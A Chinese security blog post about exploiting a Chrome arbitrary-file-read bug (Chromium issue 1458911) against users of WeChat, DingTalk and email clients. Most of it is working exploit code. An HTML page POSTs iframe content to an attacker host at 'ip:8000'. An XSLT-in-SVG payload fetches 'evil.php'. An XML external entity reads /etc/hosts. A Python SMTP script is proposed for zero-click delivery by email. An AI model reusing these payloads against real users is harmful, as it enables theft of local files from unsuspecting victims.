azraelxuemo's Studio.

Chrome任意文件读->外带

2023/11/17

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
对于微信、钉钉这种,受害者点击链接之后会只有自己会看到,但是我们看不到,那么有没有什么方法呢?
使用js把数据结果带出来

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<html>
<body>
<iframe id ="test" src="http://ip/js.svg" >
</iframe>
<script>
window.onload = function(){
var content = window.top.document.getElementById("test").contentWindow.document;
var httpRequest = new XMLHttpRequest();
var url = "http://ip:8000/";
httpRequest.open("POST", url, true);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpRequest.send(content);
}
</script>
</body>
</html>
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<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp><xsl:copy-of select="document('http://ip/evil.php')"/></xmp>
</body>
</foreignObject>
</svg>

</xsl:template>
</xsl:stylesheet>
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<?xml-stylesheet type="text/xml"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
]>
<p>&hosts;</p>

效果
截屏2023-11-17 15.59.25.png

奇思妙想

对于微信、钉钉这种需要用户去点击,那么能不能做到0click,邮件是个不错的选择
邮件也会用chrome内核去加载,同时邮件也支持html语言

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import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(subject, message, from_email, to_email, password):
# 创建邮件主体
msg = MIMEMultipart()
msg['From'] = from_email
msg['To'] = to_email
msg['Subject'] = subject

# 添加邮件内容
msg.attach(MIMEText(message, 'html'))

# 发送邮件
try:

server = smtplib.SMTP('smtp.gmail.com', 587) # 设置SMTP服务器地址和端口
server.ehlo()
server.starttls() # 启用TLS加密
server.login(from_email, password) # 登录邮箱
server.send_message(msg) # 发送邮件
server.quit() # 退出服务器
print("邮件发送成功")
except Exception as e:
print("邮件发送失败:", str(e))

# 设置发件人和收件人信息
from_email = ''
to_email = ''
password = ''

# 发送邮件
subject = '测试邮件'

message = """
<html>
<body>
<h1>asda</h1>
<p>asda</p>
</form>
</body>
</html>"""
send_email(subject, message, from_email, to_email, password)

image.png
image.png
这里好像过滤了iframe,meta,object,embed等字段,或者可能是白名单级制,我们能否利用其他完成payload加载呢

CATALOG
  1. 1. 奇思妙想